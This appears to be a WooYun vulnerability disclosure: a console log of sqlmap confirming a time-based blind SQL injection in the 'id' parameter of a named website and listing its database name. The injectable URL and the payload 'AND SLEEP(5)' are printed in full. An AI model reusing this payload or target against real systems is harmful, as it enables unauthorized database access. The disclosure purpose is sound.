WooYun.org

Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Users\Administrator>sqlmap.py -u "http://www.hahapinche.com/News/news_detail?
id=660" --dbs
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
[*] starting at: 13:19:47
[13:19:47] [INFO] using 'F:\tools\sqlmap\output\www.hahapinche.com\session' as s
ession file
[13:19:47] [INFO] resuming injection data from session file
[13:19:47] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[13:19:47] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=660 AND SLEEP(5)
---
[13:19:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[13:19:47] [INFO] fetching database names
[13:19:47] [INFO] fetching number of databases
[13:19:47] [INFO] read from file 'F:\tools\sqlmap\output\www.hahapinche.com\sess
ion':
[13:19:47] [INFO] read from file 'F:\tools\sqlmap\output\www.hahapinche.com\sess
ion':
[13:19:47] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[13:19:49] [ERROR] unable to retrieve the number of databases
[13:19:49] [INFO] falling back to current database
[13:19:49] [INFO] fetching current database
[13:19:49] [INFO] read from file 'F:\tools\sqlmap\output\www.hahapinche.com\sess
ion': haha_db
available databases [1]:
[*] haha_db
[13:19:49] [INFO] Fetched data logged to text files under 'F:\tools\sqlmap\outpu
t\www.hahapinche.com'
[*] shutting down at: 13:19:49